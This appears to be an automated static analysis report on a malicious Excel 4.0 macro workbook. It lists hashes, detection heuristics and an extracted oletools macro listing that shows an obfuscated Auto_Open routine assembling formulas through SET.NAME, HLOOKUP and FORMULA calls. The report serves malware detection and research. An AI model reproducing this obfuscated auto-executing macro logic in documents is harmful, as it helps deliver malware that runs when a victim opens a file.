Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4bc7209b446d59e5…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:41:27 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 0b288afbba39b8c98eab45de6b12f58f SHA-1: 9aea11f215b6397967e390eac768afc117d78fe7 SHA-256: 4bc7209b446d59e535401016e2969c87f4837c3b7b2101dedb3eb2f8cc7429c3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6508 bytes
SHA-256: 233287b589f897d9552f33f3d3ca1c496f882f3b8da520e6045ab9e6167e9038
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yYJqTBa
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G154 
' 0018     20 LABEL : Cell Value, String Constant - dfFWa len=0 
' 0018     25 LABEL : Cell Value, String Constant - EzpzzysArS len=0 
' 0018     22 LABEL : Cell Value, String Constant - guuuvtO len=0 
' 0018     24 LABEL : Cell Value, String Constant - gxEUJmZRY len=0 
' 0018     26 LABEL : Cell Value, String Constant - HOZgcZetiey len=0 
' 0018     27 LABEL : Cell Value, String Constant - IGaaeHyUzlwQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - JBtFgceCDkhC len=0 
' 0018     24 LABEL : Cell Value, String Constant - JpQMmrGvC len=0 
' 0018     20 LABEL : Cell Value, String Constant - lDPRo len=0 
' 0018     24 LABEL : Cell Value, String Constant - mdnDSJFvf len=0 
' 0018     24 LABEL : Cell Value, String Constant - myzvDNIGt len=0 
' 0018     21 LABEL : Cell Value, String Constant - NOgbYX len=0 
' 0018     20 LABEL : Cell Value, String Constant - osZda len=0 
' 0018     20 LABEL : Cell Value, String Constant - PLyJz len=0 
' 0018     21 LABEL : Cell Value, String Constant - trTBKZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - uJAVxBgcFT len=0 
' 0018     26 LABEL : Cell Value, String Constant - waBXxOMAzxw len=0 
' 0018     25 LABEL : Cell Value, String Constant - YOJTnjQKTb len=0 
' 0018     24 LABEL : Cell Value, String Constant - YqyXcjNvf len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZwuMmxVxQXzd len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yYJqTBa,G62,"SET.NAME("mdnDSJFvf",VALUE("0"))",""
'  yYJqTBa,G65,"SET.NAME("guuuvtO",mdnDSJFvf)",""
'  yYJqTBa,G68,"SET.NAME("osZda",mdnDSJFvf)",""
'  yYJqTBa,G72,"SET.NAME("HOZgcZetiey",COUNTA(PLyJz))",""
'  yYJqTBa,G76,"SET.NAME("lDPRo",COUNTA(ZwuMmxVxQXzd))",""
'  yYJqTBa,G79,[],""
'  yYJqTBa,G81,"SET.NAME("uJAVxBgcFT","")",""
'  yYJqTBa,G86,"guuuvtO",""
'  yYJqTBa,G88,"SET.NAME("dfFWa",HLOOKUP("*",PLyJz,guuuvtO,FALSE))",""
'  yYJqTBa,G92,"IGaaeHyUzlwQ",""
'  yYJqTBa,G96,"SET.NAME("NOgbYX",mdnDSJFvf)",""
'  yYJqTBa,G99,[],""
'  yYJqTBa,G103,"NOgbYX",""
'  yYJqTBa,G107,"waBXxOMAzxw",""
'  yYJqTBa,G110,"JpQMmrGvC",""
'  yYJqTBa,G115,"YqyXcjNvf",""
'  yYJqTBa,G119,"SET.NAME("YOJTnjQKTb",VALUE(HLOOKUP("*",ZwuMmxVxQXzd,YqyXcjNvf,FALSE)))",""
'  yYJqTBa,G122,"gxEUJmZRY",""
'  yYJqTBa,G124,"uJAVxBgcFT",""
'  yYJqTBa,G129,"osZda",""
'  yYJqTBa,G132,NEXT(),""
'  yYJqTBa,G136,"trTBKZ",""
'  yYJqTBa,G140,"SET.NAME("f",INT(T(FORMULA(T(uJAVxBgcFT)&"",""&T(trTBKZ)))))",""
'  yYJqTBa,G144,"JBtFgceCDkhC",""
'  yYJqTBa,G146,NEXT(),""
'  yYJqTBa,G151,RETURN(),""
'  yYJqTBa,G178,"SET.NAME("EzpzzysArS",G62)",""
'  yYJqTBa,G183,"PLyJz",""
'  yYJqTBa,G188,"SET.NAME("ZwuMmxVxQXzd",R92C14)",""
'  yYJqTBa,G193,"SET.NAME("JBtFgceCDkhC",198)",""
'  yYJqTBa,G195,"SET.NAME("myzvDNIGt",7)",""
'  yYJqTBa,G197,EzpzzysArS(),""
'  yYJqTBa,G198,HALT(),""